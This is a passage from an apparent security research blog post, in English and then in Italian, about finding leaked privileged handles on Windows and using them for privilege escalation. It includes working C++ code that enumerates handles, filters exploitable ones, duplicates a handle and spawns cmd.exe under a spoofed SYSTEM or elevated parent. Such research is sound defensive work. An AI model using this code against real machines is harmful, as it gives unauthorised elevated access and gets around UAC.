            handleIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID // the integrity level of the target must be >= High
            )
        {
            vSysHandle.push_back(sysHandle); // save the interesting SYSTEM_HANDLE
        }
    }  
}

In this block of code we start out by defining a std::vector called vSysHandle which will hold the interesting SYSTEM_HANDLEs. After that we start the usual iteration of the data returned by NtQuerySystemInformation, only this time we skip the handles held by our current process. We then check the integrity level of the process which holds the handle we are currently analyzing through the helper function I wrote called GetTargetIntegrityLevel. This function basically returns a DWORD telling us the integrity level of the token associated with the PID it receives as argument and is adapted from a number of PoCs and MSDN functions available online.

Once we’ve retrieved the integrity level of the process we make sure it’s less than high integrity, because we are interested in medium or low integrity processes holding interesting handles and we also make sure the SYSTEM_HANDLE we are working with is of type process (0x7). Checked that, we move to checking the access the handle grants. If the handle is not PROCESS_ALL_ACCESS or doesn’t hold any of the flags specified, we skip it. Else, we move further, retrieve the PID of the process the handle refers to, and get its integrity level. If it’s high integrity or even higher (e.g. SYSTEM) we save the SYSTEM_HANDLE in question inside our vSysHandle for later (ab)use.

This, kids, is how you automate leaked privileged handle hunting. Now that we have a vector holding all these interesting handles it’s time for the exploit!

Gaining the upper hand(le)!

We have scanned the haystack and separated the needles from the hay, now what? Well, again dronesec’s blogpost details what you can do with each different access, but let’s focus on the more common and easy to exploit: PROCESS_ALL_ACCESS.

First off, we start by opening the process which holds the privileged handle and subsequently clone said handle.

DWORD ownerPid = SysHandle.ProcessId;
HANDLE elevatedToken = NULL;
auto hOwner = OpenProcess(PROCESS_DUP_HANDLE, false, ownerPid);
HANDLE clonedHandle;
auto success = DuplicateHandle(hOwner, (HANDLE)sysHandle.Handle, GetCurrentProcess(), &clonedHandle, NULL, false, DUPLICATE_SAME_ACCESS);

This is fairly easy and if you skip error control, which you shouldn’t skip (right, h0nus?), it boils down to only a handful of code lines. First you open the process with PROCESS_DUP_HANDLE access, which is the least amount of privilege required to duplicate a handle, and then call DuplicateHandle on that process, telling the function you want to clone the handle saved in sysHandle.Handle (which is the interesting handle we retrieved before) and save it into the current process in the clonedHandle variable.

In this way our process is now in control of the privileged handle and we can use it to spawn a new process, spoofing its parent as the privileged process the handle points to, thus making the new process inherit its security context and getting, for example, a command shell.

STARTUPINFOEXW sinfo = { sizeof(sinfo) };
PROCESS_INFORMATION pinfo;
LPPROC_THREAD_ATTRIBUTE_LIST ptList = NULL;
SIZE_T bytes = 0;
sinfo.StartupInfo.cb = sizeof(STARTUPINFOEXA);
InitializeProcThreadAttributeList(NULL, 1, 0, &bytes);
ptList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(bytes);
InitializeProcThreadAttributeList(ptList, 1, 0, &bytes);
UpdateProcThreadAttribute(ptList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &clonedHandle, sizeof(HANDLE), NULL, NULL);
sinfo.lpAttributeList = ptList;
std::wstring commandline = L"C:\\Windows\\System32\\cmd.exe";

auto success = CreateProcessW(
	nullptr,
	&commandline[0],
	NULL,
	NULL,
	true,
	EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
	NULL,
	NULL,
	&sinfo.StartupInfo,
	&pinfo);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);

Let’s see it in action 😊

poc gif

Some notes:

  • I later noticed Dronesec used NtQueryObject to find the process name associated with the kernel object. I don’t find it feasible for a large number of handles as calling this would slow down a lot the process of matching addresses with handles
  • Of course, if the medium integrity process we want to attach to in order to clone the privileged handle runs in the context of another user, we can’t exploit it as we’d need SeDebugPrivilege
  • I voluntarily left out the thread and token implementation of the exploit to the reader as an exercise 😉

We are planning on releasing this tool, UpperHandler, as soon as we see fit. Stay tuned!

last out!

References

🇮🇹 Gaining the upper hand(le)

By: ["last"]
10 February 2022 at 00:00

tortellino windows

TL;DR

Su Windows, una condizione che può verificarsi è quella in cui processi ad altà integrità (anche noti come processi elevati) o processi SYSTEM possono avere handle a oggetti del kernel come altri processi/thread/token e si trovano successivamente in condizione di generare processi figli a media integrità. Se questi oggetti citati sono privilegiati (ad esempio sono a loro volta processi elevati/SYSTEM) e vengono ereditati dal processo figlio, si verifica una situazione in cui un processo a media integrità detiene un handle a una risorsa privilegiata e, se tale handle viene clonato e adeguatamente sfruttato, ciò può portare a privilege escalation. In questo post vedremo come ricercare in maniera automatizzata tali situazioni e come sfruttarle per elevare i propri privilegi o aggirare misure di sicurezza come UAC.

Introduzione

Salute compagni d’armi, qui è di nuovo last a infastidirvi. Ultimamente, insieme ai compagni di sventura degli Advanced Persistent Tortellini, mi sono messo alla ricerca di un tipo particolare vulnerabilità che si può trovare su applicativi per Windows e che raramente viene discusso: i leak di handle privilegiati. Notando l’assenza di risorse che approfondiscano l’argomento, abbiamo deciso di scrivere (in realtà tradurre) questo post.

Essenzialmente quello a cui miriamo è capire se e come possiamo cercare in maniera automatizzata processi non privilegiati (ossia a integrità media) che detengono handle verso risorse pregiate come processi ad alta integrità (anche noti come processi elevati), processi SYSTEM o thread appartenenti ai processi menzionati. A seguito di ciò dobbiamo assicurarci di poter aprire i processi non privilegiati in questione, clonare gli handle di interesse e infine sfruttarli per elevare i nostri privilegi. Vediamo rapidamente i requisiti per il tool che andremo a scrivere:

  1. Deve eseguire a media integrità
  2. Il SeDebugPrivilege non deve essere presente nel token del processo (normalmente non è presente nei token a media integrità in ogni caso)
  3. Non può sfruttare bypass di UAC in quanto deve funzionare anche per utenti non amministratori

Il processo è abbastanza complesso, gli step che seguiremo saranno i seguenti:

  1. Enumerare tutti gli handle aperti in tutti i processi (tramite NtQuerySystemInformation)
  2. Filtrare gli handle non interessanti - per il momento ci focalizzeremo solo sugli handle verso i processi, i token e i thread, in quanto sono quelli più facili da sfruttare
  3. Filtrare gli handle che puntano a processi/thread/token a integrità inferiore a quella alta
  4. Filtrare gli handle detenuti da processi con integrità superiore a media in quanto non possiamo agganciarci a questi senza il SeDebugPrivilege
  5. Filtrare gli handle che non garantiscono un livello di accesso alla risorsa sufficiente
  6. Verificare che siano rimasti handle (che quindi possono essere sfruttati per fare privilege escalation) ed eventualmente sfruttarli per elevare i nostri privilegi

ven diagram

Chiariamoci, è improbabile trovare questo genere di vulnerabilità su un sistema operativo appena installato (anche se, mai dire mai). Ciononostante, considerata la quantità di programmi di dubbia provenienza che i sysadmin installano e il livello di insicurezza che i programmi installati dai manufacturer attualmente mostrano, non è remota la possibilità di trovarne su sistemi in produzione da un pò.

Ora che abbiamo una vaga idea di quello che abbiamo intenzione di fare, ripassiamo i fondamentali.

Handles 101

Come ho discusso brevemente in questo thread su Twitter, Windows è un sistema operativo basato sugli oggetti (da non confondere con i linguaggi di programmazione a oggetti, che sono un’altra cosa). Con “basato sugli oggetti” intendiamo che ogni entità del sistema operativo (come processi, thread, mutex, semafori, file etc.) hanno un “oggetto” che li rappresenta nel kernel. Per i processi, per esempio, tale oggetto prende forma di una struttura dati chiamata _EPROCESS. Ogni processo ne ha una. Tutte le strutture _EPROCESS si trovano in kernelspace, ossia in quella porzione di memoria virtuale comune a tutti i processi e coincidente, nell’architettura x64, con i 128TB “alti” della memoria virtuale di un processo. Essendo una porzione di memoria condivisa, tutto ciò che è in kernelspace è uguale per tutti i processi, contrariamente a ciò che si trova in userspace, i 128TB “bassi” dello spazio di indirizzamento, che invece è diverso per ogni processo.

Essendo gli oggetti del kernel strutture di dati presenti in kernelspace non vi è modo per i normali processi di interagire direttamente con essi, in quanto ciò violerebbe tutti i principi di sicurezza su cui si poggia già in maniera molto precaria Windows. Per poter interagire con gli oggetti menzionati, Windows mette a disposizione dei processi un meccanismo di indirezione che si appoggia a variabili particolari di tipo HANDLE (e tipi derivati come SC_HANDLE). Un handle altro non è che una variabile che contiene un numero a 64 bit, sempre per quanto riguarda l’architettura x64. Tale numero rappresenta un indice in una tabella particolare ospitata in kernelspace, diversa per ogni processo. Ogni riga di questa tabella (nota come handle table) contiene l’indirizzo dell’oggetto cui l’handle fa riferimento e il livello di accesso all’oggetto che l’handle concede al processo che lo detiene. L’indirizzo a questa tabella è contenuto nel membro ObjectTable (che è di tipo _HANDLE_TABLE * e quindi punta a una variabile _HANDLE_TABLE) della struttura _EPROCESS di ogni processo.

Per rendere digeribile questo impasto indigesto di nozioni tecniche, vediamo un esempio. Per ottenere un handle a un processo si utilizza la funzione OpenProcess, esposta dalle API di Windows nella libreria kernel32.dll. Di seguito la definizione della funzione citata:

HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);

OpenProcess riceve in ingresso 3 parametri:

  • dwDesiredAccess è una DWORD (double word - intero a 32 bit) che specifica il livello di accesso all’oggetto processo che l’handle deve garantire
  • bInheritHandle è un valore booleano (vero/falso) che serve a specificare se l’handle ritornato dalla funzione deve essere ereditabile, significando che, nel caso il processo chiamante successivamente crei processi figli, l’handle ritornato da OpenProcess verrebbe copiato, assieme al livello di accesso, nella tabella degli handle del processo figlio
  • dwProcessId è una DWORD usata per specificare quale processo vogliamo che OpenProcess apra (passando in input il Process ID - PID del processo) e quindi a quale processo farà riferimento l’handle ritornato dalla funzione

Se il processo chiamante ha privilegi sufficienti per aprire il processo target, OpenProcess ritornerà un handle al processo target stesso, con il livello di accesso specificato.

Nella riga di codice a seguire proverò ad aprire un handle al processo System (che ha sempre PID 4), specificando al kernel che il livello di accesso richiesto per l’handle equivale a PROCESS_QUERY_LIMITED_INFORMATION, valido per richiedere solo un subset ristretto di informazioni relative al processo in questione. Inoltre, passando true come secondo argomento, specifico che l’handle ritornato dalla funzione deve essere ereditato da eventuali processi figli. In caso tutto vada per il meglio, la variabile hProcess (di tipo HANDLE) conterrà l’handle richiesto.

HANDLE hProcess;
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, 4);

Dietro le quinte, il kernel effettua una serie di controlli di sicurezza sul contesto di sicurezza (anche noto come token) del processo chiamante. Se tali controlli danno esito positivo, il kernel prende il PID passato in input, risolve l’indirizzo della _EPROCESS associata e lo copia nella handle table del processo chiamante assieme alla access mask (i livello di accesso) richiesta. L’indice della riga della handle table appena riempita viene successivamente ritornato al codice in usermode e dato al processo come valore di ritorno di OpenProcess. Cose simili avvengono per le funzioni OpenThread e OpenToken.

Visualizzare e ottenere informazioni sugli handle

Come abbiamo introdotto precedentemente, i valori contenuti dagli handle sono essenzialmente indici di una tabella. Ogni riga della tabella contiene, fra le altre cose, l’indirizzo dell’oggetto cui l’handle fa riferimento e il livello di accesso all’oggetto che l’handle concede. Possiamo visualizzare graficamente queste informazioni attraverso strumenti come Process Hacker o Process Explorer:

handles 1

Da questo screenshot di Process Explorer possiamo ricavare una serie di informazioni:

  • Riquadro rosso: il tipo di oggetto a cui l’handle si riferisce
  • Casella blu: il valore dell’handle (l’indice effettivo della riga nella tabella)
  • Casella gialla: l’indirizzo dell’oggetto a cui si riferisce l’handle
  • Riquadro verde: la maschera di accesso e il suo valore decodificato (le maschere di accesso sono macro definite nell’header Windows.h). Questo ci dice quali privilegi sono concessi al detentore dell’handle sull’oggetto;

Per ottenere questo genere di informazioni ci sono una serie di metodi. Tra questi, il più pratico e utile è utilizzare la funzione NtQuerySystemInformation, parte delle API native esposte tramite ntdll.dll.

NTSTATUS NtQuerySystemInformation(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID                    SystemInformation,
	ULONG                    SystemInformationLength,
	PULONG                   ReturnLength
);

Chiamando la funzione in questione e passando come primo argomento SystemHandleInformation (che ha valore 0x10), il secondo argomento sarà riempito con una struttura non documentata di tipo _SYSTEM_HANDLE_INFORMATION contenente un array di variabili SYSTEM_HANDLE dove ognuna di queste contiene informazioni su un handle aperto e la dimensione dell’array stesso (HandleCount):

typedef struct _SYSTEM_HANDLE_INFORMATION 
{
    ULONG HandleCount;
    SYSTEM_HANDLE* Handles;
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

Tutti gli handle presenti nel sistema operativi al momento della chiamata alla funzione sono inseriti nell’array in questione. La struttura di SYSTEM_HANDLE non è documentata, qui di seguito la definizione.

typedef struct _SYSTEM_HANDLE 
{
    ULONG ProcessId;
    BYTE ObjectTypeNumber;
    BYTE Flags;
    USHORT Handle;
    PVOID Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

La struttura in questione presenta una serie di membri che forniscono informazioni interessanti riguardo l’handle cui la struttura stessa si riferisce. Andiamo ad approfondirli uno a uno:

  • ProcessId: il PID del processo che detiene cui la struttura fa riferimento
  • Handle: il valore dell’handle, cioè l’indice nella riga della handle table
  • Object: l’indirizzo in kernelspace dell’oggetto cui l’handle fa riferimento
  • ObjectTypeNumber: una variabile non documentata di tipo BYTE che identifica il tipo di oggetto cui l’handle fa riferimento. Per interpretare questo valore dobbiamo fare un pò di reverse engineering, ma per ora ci basta sapere che gli handle riferiti a processi hanno questo valore settato a 0x7, quelli riferiti ai thread a 0x8 e quelli riferiti ai token a 0x5
  • GrantedAccess: il livello di accesso all’oggetto che l’handle garantisce. Si possono richiedere livelli di accesso diversi per ogni oggetto. Per esempio valori ammissibili per i processi sono PROCESS_ALL_ACCESS, PROCESS_CREATE_PROCESS etc.

Vediamo ora brevemente come chiamare NtQuerySystemInformation utilizzando il C++.

NTSTATUS queryInfoStatus = 0;
PSYSTEM_HANDLE_INFORMATION tempHandleInfo = nullptr;
size_t handleInfoSize = 0x10000;
auto handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
if (handleInfo == NULL) return mSysHandlePid;
while (queryInfoStatus = NtQuerySystemInformation(
	SystemHandleInformation, //0x10
	handleInfo,
	static_cast<ULONG>(handleInfoSize),
	NULL
) == STATUS_INFO_LENGTH_MISMATCH)
{
	tempHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
	if (tempHandleInfo == NULL) return mSysHandlePid;
	else handleInfo = tempHandleInfo;
}

Nel blocco di codice riportato facciamo uso delle seguenti variabili:

  1. queryInfoStatus che conterrà il valore di ritorno di NtQuerySystemInformation e che utilizzeremo per capire se la funzione è stata eseguita con successo o meno
  2. tempHandleInfo che conterrà i dati relativi a tutti gli handle sul sistema che NtQuerySystemInformation recupera per noi
  3. handleInfoSize che è una “ipotesi” di quanta memoria sarà utilizzata per memorizzare i dati ritornati dalla funzione - questa variabile verrà raddoppiata ogni volta che NtQuerySystemInformation restituirà STATUS_INFO_LENGTH_MISMATCH che è un valore che ci dice che lo spazio allocato non è sufficiente
  4. handleInfo che è un puntatore alla porzione di memoria che NtQuerySystemInformation riempirà con i dati di cui abbiamo bisogno (cioè la struttura _SYSTEM_HANDLE_INFORMATION)

Non fatevi confondere dal ciclo while utilizzato, è solo un modo di chiamare la funzione finché la memoria allocata non è sufficiente. Questo metodo è impiegato abbastanza spesso quando si ha a che fare con funzioni appartenenti alle API native di Windows.

I dati recuperati dalla funzione NtQuerySystemInformation possono essere poi parsati semplicemente iterando sull’array ritornato, come nell’esempio a seguire:

for (uint32_t i = 0; i < handleInfo->HandleCount; i++) 
{
	auto handle = handleInfo->Handles[i];
	std::cout << "[*] PID: " << handle.ProcessId << "\n\t"
		  << "|_ Handle value: 0x" << std::hex << static_cast<uint64_t>(handle.Handle) << "\n\t"
                  << "|_ Object address: 0x" << std::hex << reinterpret_cast<uint64_t>(handle.Object) << "\n\t"
                  << "|_ Object type: 0x" << std::hex << static_cast<uint32_t>(handle.ObjectTypeNumber) << "\n\t"
                  << "|_ Access granted: 0x" << std::hex << static_cast<uint32_t>(handle.GrantedAccess) << std::endl;  
}

Come si può evincere dal precedente blocco di codice, abbiamo la variabile handle il cui tipo è SYSTEM_HANDLE (nascosto dall’uso della keyword auto). Usiamo successivamente i membri della struttura SYSTEM_HANDLE salvata in handle per stampare a schermo le informazioni di interesse.

listing handles with c++

In questo screenshot possiamo osservare 3 handle detenuti dal processo con PID 4 (che ricordiamo essere il processo System). Tutti questi handle sono riferiti a oggetti di tipo processo, come si può evincere dal object type 0x7. Possiamo inoltre dedurre che i primi due handle sono riferiti allo stesso processo, in quanto l’object address è uguale, ma solo il primo dei 2 garantisce al processo System un accesso al processo rilevante, in quanto l’access granted ha valore 0x1fffff, che è il valore tradotto di PROCESS_ALL_ACCESS.

Sfortunatamente nella mia ricerca non ho trovato un modo diretto ed efficiente di estrarre i PID dei processi a cui gli handle fanno riferimento (a partire dal membro ObjectAddress). Vedremo dopo come aggirare questo problema, per ora limitiamoci a confrontare le informazioni che abbiamo stampato a schermo con quelle estratte tramite Process Explorer.

seeing the process with procexp

Come potete vedere, l’handle con valore 0x828 è, come ci aspettavamo, di tipo processo e si riferisce al processo services.exe. Sia l’indirizzo in kernelspace dell’oggetto che l’accesso garantito dall’handle corrispondono e, guardando sulla destra la maschera d’accesso decodificata, potete vedere che il valore decodificato è PROCESS_ALL_ACCESS.

Ciò è molto interessante perché sostanzialmente ci permette di avere visibilità sulla handle table di qualsiasi processo, a prescindere dal suo contesto di sicurezza o dal livello di protezione (PP o PPL) che tale processo ha.

A caccia di vulnerabilità

Ottenere il PID di un processo a partire dall’indirizzo della sua _EPROCESS

Nella mia ricerca non ho trovato un modo diretto ed efficiente di associare il un SYSTEM_HANDLE di tipo processo/thread al processo/thread a cui questo handle si riferisce. Il campo ProcessId della struttura infatti si riferisce al processo che detiene l’handle in questione, non al processo/thread cui questo punta, del quale l’unica informazione che abbiamo è l’indirizzo della _EPROCESS o _ETHREAD in kernelspace tramite il membro Object. Per tal ragione ho adottato un approccio poco ortodosso (per non dire direttamente “brutto”) che però mi permette di recuperare in maniera veloce ed efficiente l’associazione indirizzo in kernelspace - PID/TID del processo/thread puntato. A tal riguardo, vediamo i presupposti (alcuni dei quali già introdotti precedentemente) per arrivare a tale soluzione:

  • La struttura SYSTEM_HANDLE contiene il membro Object, che contiene l’indirizzo dell’oggetto del kernel, che è in kernelspace
  • In Windows, tutti i processi hanno il proprio spazio di indirizzamento privato, ma la porzione di tale spazio denominata kernelspace (128 TB superiori per i processi a 64 bit) è la stessa per tutti i processi. Gli indirizzi in kernelspace contengono gli stessi dati in tutti i processi
  • Quando abbiamo a che fare con handle riferiti a processi, il membro Object di SYSTEM_HANDLE punta alla struttura _EPROCESS del processo stesso. Per i thread la struttura invece è la _ETHREAD, per la quale valgono gli stessi discorsi di _EPROCESS
  • Ogni processo ha una sola struttura _EPROCESS
  • Possiamo ottenere un handle per qualsiasi processo, indipendentemente dal suo contesto di sicurezza, chiamando OpenProcess e specificando PROCESS_QUERY_LIMITED_INFORMATION come access mask
  • Chiamando NtQuerySystemInformation possiamo enumerare tutti gli handle aperti da tutti i processi in esecuzione al momento della chiamata

Da questo considerazioni possiamo dedurre quanto segue:

  • Il membro Object di due diverse strutture SYSTEM_HANDLE sarà uguale se l’handle è aperto sullo stesso oggetto, indipendentemente dal processo che detiene l’handle (es. due handle aperti sullo stesso file da due diversi processi avranno lo stesso valore Object)
    • Due handle allo stesso processo aperti da due processi diversi avranno un valore Object corrispondente
    • Lo stesso vale per thread, token, ecc.
  • Quando chiamiamo NtQuerySystemInformation possiamo enumerare gli handle detenuti anche dal nostro stesso processo
  • Se otteniamo un handle a un processo tramite OpenProcess, conosciamo il PID di detto processo e, tramite NtQuerySystemInformation, l’indirizzo in kernelspace della _EPROCESS associata

Avete intuito in che direzione stiamo andando? Se riusciamo ad aprire un handle con accesso PROCESS_QUERY_LIMITED_INFORMATION a ogni processo e successivamente recuperare tutti gli handle aperti tramite NtQuerySystemInformation possiamo filtrare gli handle non detenuti dal nostro processo ed estrarre dai rimanenti il contenuto del membro Object, riuscendo così ad associare il PID di ogni processo all’indirizzo della relativa struttura _EPROCESS. Ovviamente lo stesso può essere effettuato per i thread usando OpenThread e THREAD_QUERY_INFORMATION_LIMITED come livello di accesso per gli handle richiesti.

Per aprire in maniera efficiente i processi e i thread in esecuzione ci appoggiamo alle funzioni esposte dalla libreria TlHelp32.h, che in buona sostanza ci permette di effettuare un’istantanea dello stato del sistema operativo al momento dell’esecuzione e ricavare quanti e quali processi sono in esecuzione, con tanto di PID.

Il seguente blocco di codice mostra come effettuare l’istantanea di cui abbiamo parlato e successivamente iterarci sopra per aprire un handle a ogni processo.


// mappa che conterrà l'associazione handle - PID
std::map<HANDLE, DWORD> mHandleId;

// crea l'istantanea utilizzando CreateToolhelp32Snapshot
wil::unique_handle snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0));
PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);

// punta la struttura processEntry al primo processo dell'istantanea
auto status = Process32FirstW(snapshot.get(), &processEntry); 

// inizia a iterare, aggiornando di volta in volta processEntry mentre si cerca di aprire ogni singolo processo, associandone il PID al valore dell'handle aperto
std::cout << "[*] Iterating through all the PID/TID space to match local handles with PIDs/TIDs...\n";
do
{
	auto hTempHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processEntry.th32ProcessID);
	if (hTempHandle != NULL)
	{
		// if we manage to open a shHandle to the process, insert it into the HANDLE - PID map at its PIDth index
		mHandleId.insert({ hTempHandle, processEntry.th32ProcessID });
	}
} while (Process32NextW(snapshot.get(), &processEntry));

Iniziamo col definire una std::map, ossia una classe simile a un dizionario per il C++, la quale ci permetterà di tenere traccia dell’associazione fra PID del processo aperto e il valore dell’handle riferito al processo aperto. Chiameremo questa mappa mHandleId.

Fatto ciò, procediamo a effettuare l’istantanea dello stato del sistema utilizzando CreateToolhelp32Snapshot e specificando che vogliamo che l’istantanea contenga informazioni relative ai processi in esecuzione (utilizzando il valore TH32CS_SNAPPROCESS come argomento). L’istantanea creata è assegnata alla variabile snapshot di tipo wil::unique_handle, una classe C++ della Windows Implementation Library (WIL) che ci permette di gestire in maniera sicura (attraverso il paradigma RAII e altre facilities del C++) i tipi HANDLE-like. Successivamente procediamo a definire e inizializzare a zero la variabile di tipo PROCESSENTRY32W chiamata processEntry, che conterrà le informazioni di ogni processo mentre iteriamo sull’istantanea.

In seguito procediamo a chiamare Process32FirstW e riempiere processEntry con i dati del primo processo dell’istantanea. Come già accennato, per ogni processo chiameremo OpenProcess con PROCESS_QUERY_LIMITED_INFORMATION e, se la chiamata termina con successo, salviamo la coppia formata dal valore dell’handle e dal PID del processo aperto nella mappa mHandleId.

Al termine di ogni iterazione del ciclo while eseguiamo la funzione Process32NextW e riempiamo processEntry con i dati del processo successivo contenuto nell’istantanea, fin quando non abbiamo esaminato tutti i processi dell’istantanea. Al termine del ciclo abbiamo una mappatura 1 a 1 di tutti gli handle aperti dal nostro processo con i rispettivi PID dei processi cui gli handle citati fanno riferimento. Procediamo alla fase successiva!

è arrivato il momento di creare la mappa che associerà handle ai processi aperti dal nostro processo e gli indirizzi in kernelspace delle strutture _EPROCESS dei suddetti processi. Per fare ciò dobbiamo recuperare tutti gli handle del sistema operativo e filtrare quelli che non appartengono al nostro processo. Abbiamo già visto come recuperare tutti gli handle aperti utilizzando NtQuerySystemInformation, a questo punto si tratta solo di analizzare il membro ProcessId della struttura SYSTEM_HANDLE e compararlo con il PID del nostro processo, recuperato tramite la funzione GetCurrentProcessId.

Come si può evincere dal blocco di codice a seguire, filtriamo gli handle che non appartengono al nostro processo, dopodiché prendiamo in considerazione solo quelli che fanno riferimento a un processo e ne insieriamo l’associazione fra handle e indirizzo in kernelspace nella mappa mAddressHandle.

std::map<uint64_t, HANDLE> mAddressHandle;
for (uint32_t i = 0; i < handleInfo->HandleCount; i++) 
{
    auto handle = handleInfo->Handles[i];

    // skip handles not belonging to this process
    if (handle.ProcessId != pid)
        continue;
    else
    {
        // switch on the type of object the handle refers to
        switch (handle.ObjectTypeNumber)
        {
        case OB_TYPE_INDEX_PROCESS:
        {
            mAddressHandle.insert({ (uint64_t)handle.Object, (HANDLE)handle.Handle }); // fill the ADDRESS - HANDLE map 
            break;
        }

        default:
            continue;
        }
    }
}

Potrebbe esservi saltato all’occhio il fatto che usiamo uno switch al posto di un comune if. Il motivo è che questo pezzo di codice è estratto e modificato da un tool che come Advanced Persistent Tortellini stiamo sviluppando chiamato UpperHandler. UpperHandler è sviluppato specificamente per trovare vulnerabilità di questo tipo, non solo su processi ma anche su thread e altro (ecco perché lo switch). UpperHandler sarà rilasciato quando lo riterremo opportuno.

Adesso che abbiamo riempito le due mappe mHandleId e mAddressHandle, recuperare il PID di un processo a partire dall’indirizzo della sua _EPROCESS è in realtà un gioco da ragazzi.

auto address = (uint64_t)(handle.Object);
auto foundHandlePair = mAddressHandle.find(address);
auto foundHandle = foundHandlePair->second;
auto handlePidPair = mHandleId.find(foundHandle);
auto handlePid = handlePidPair->second;

Iniziamo con il salvare l’indirizzo della _EPROCESS nella variabile address, dopodiché cerchiamo la coppia che contiene tale indirizzo nella mappa mAddressHandle, estraendo poi dalla coppia l’handle associato. A questo punto, con l’handle, recuperiamo dalla mappa mHandleId la coppia che contiene il PID del processo cui l’handle fa riferimento e recuperiamo il PID.

Trovare automagicamente l’ago nel pagliaio

Adesso che abbiamo un metodo veloce e affidabile di recuperare i PID a partire dagli indirizzi in kernelspace della _EPROCESS, possiamo concentrarci sul cercare situazioni in cui processi a bassa integrità hanno handle privilegiati a processi ad alta integrità. Ma cosa si intende con la locuzione “handle privilegiato”? Bryan Alexander lo esprime in maniera abbastanza chiara in questo blogpost, ma essenzialmente, quando si parla di handle facenti riferimento a processi, i livelli di accesso (quindi le flag, essendo l’access mask degli handle una bitmask) che rendono un handle privilegiato sono i seguenti:

  • PROCESS_ALL_ACCESS
  • PROCESS_CREATE_PROCESS
  • PROCESS_CREATE_THREAD
  • PROCESS_DUP_HANDLE
  • PROCESS_VM_WRITE

Se trovare un handle verso un processo ad alta integrità con uno o più di questi livelli di accesso in un processo a integrità media, avete fatto jackpot. Vediamo come incassare la vincita:

std::vector<SYSTEM_HANDLE> vSysHandle;
for (uint32_t i = 0; i < handleInfo->HandleCount; i++) {
    auto sysHandle = handleInfo->Handles[i];
    auto currentPid = sysHandle.ProcessId;
    if (currentPid == pid) continue; // skip our process' handles
    auto integrityLevel = GetTargetIntegrityLevel(currentPid);

    if (
        integrityLevel != 0 &&
        integrityLevel < SECURITY_MANDATORY_HIGH_RID && // the integrity level of the process must be < High
        sysHandle.ObjectTypeNumber == OB_TYPE_INDEX_PROCESS
	)        
    {
        if (!(sysHandle.GrantedAccess == PROCESS_ALL_ACCESS || 
        	sysHandle.GrantedAccess & PROCESS_CREATE_PROCESS || 
        	sysHandle.GrantedAccess & PROCESS_CREATE_THREAD || 
        	sysHandle.GrantedAccess & PROCESS_DUP_HANDLE || 
        	sysHandle.GrantedAccess & PROCESS_VM_WRITE)) continue;
        
        auto address = (uint64_t)(sysHandle.Object);
        auto foundHandlePair = mAddressHandle.find(address);
        if (foundHandlePair == mAddressHandle.end()) continue;
        auto foundHandle = foundHandlePair->second;
        auto handlePidPair = mHandleId.find(foundHandle);
        auto handlePid = handlePidPair->second;
        auto handleIntegrityLevel = GetTargetIntegrityLevel(handlePid);
        if (
            handleIntegrityLevel != 0 &&
            handleIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID // the integrity level of the target must be >= High
            )
        {
            vSysHandle.push_back(sysHandle); // save the interesting SYSTEM_HANDLE
        }
    }  
}

In questo blocco di codice iniziamo con il definire un std::vector chiamato vSysHandle che conterrà tutti i SYSTEM_HANDLE interessanti. Successivamente chiamiamo NtQuerySystemInformation e iteriamo sui dati ritornati dalla funzione, solo che questa volta saltiamo gli handle detenuti dal nostro processo per focalizzarci su quelli degli altri processi. Per ognuno di questi processi controlliamo il livello di integrità con la funzione GetTargetIntegrityLevel, una funzione di supporto che ho scritto e riadattato da una serie di PoC online e di funzioni disponibili su MSDN. Tale funzione ritorna una DWORD contenente il livello di integrità del token associato al PID su cui è chiamata.

Una volta recuperato il livello di integrità del processo che detiene l’handle, ci assicuriamo sia minore di SECURITY_MANDATORY_HIGH_RID, poiché siamo interessati solo ai processi a media e bassa integrità, e ci assicuriamo inoltre che il SYSTEM_HANDLE si riferisca a risorse di tipo processo (0x7). Smarcato anche questo, procediamo a controllare il livello di accesso. Se questo non è PROCESS_ALL_ACCESS o non contiene nemmeno una delle flag di cui abbiamo parlato prima, lo saltiamo. Viceversa, proseguiamo e controlliamo il livello di integrità del processo puntato dal SYSTEM_HANDLE. Se è ad alta integrità o (meglio ancora) SYSTEM, lo salviamo dentro il vettore vSysHandle.

Questo è quanto, auspicabilmente abbiamo il nostro vettore pieno (o semi vuoto) di handle vulnerabili, vediamo come exploitarli.

Gaining the upper hand(le) - questa va bene così e non la traduco :P

Abbiamo separato gli aghi dalla paglia, e mò? Nuovamente, il blogpost di dronesec dettaglia cosa può essere fatto con ogni diverso livello di accesso, ma per ora concentriamoci su quello più semplice: PROCESS_ALL_ACCESS.

Prima di tutto iniziamo con l’agganciarci al processo che detiene l’handle vulnerabile e procediamo a clonare l’handle in questione.

DWORD ownerPid = SysHandle.ProcessId;
HANDLE elevatedToken = NULL;
auto hOwner = OpenProcess(PROCESS_DUP_HANDLE, false, ownerPid);
HANDLE clonedHandle;
auto success = DuplicateHandle(hOwner, (HANDLE)sysHandle.Handle, GetCurrentProcess(), &clonedHandle, NULL, false, DUPLICATE_SAME_ACCESS);

Quest’operazione è abbastanza semplice e, se omettiamo di inserire la logica di controllo degli errori, fattibile in poche righe di codice. Iniziamo con l’aprire il processo che detiene l’handle vulnerabile con il livello di accesso PROCESS_DUP_HANDLE, che è il livello di accesso minimo per poter clonare gli handle detenuti dal processo, e successivamente usiamo la funzione DuplicateHandle per clonare l’handle cui siamo interessati (il cui valore è contenuto nel membro Handle della struttura sysHandle) e salvarne il valore nella variabile clonedHandle.

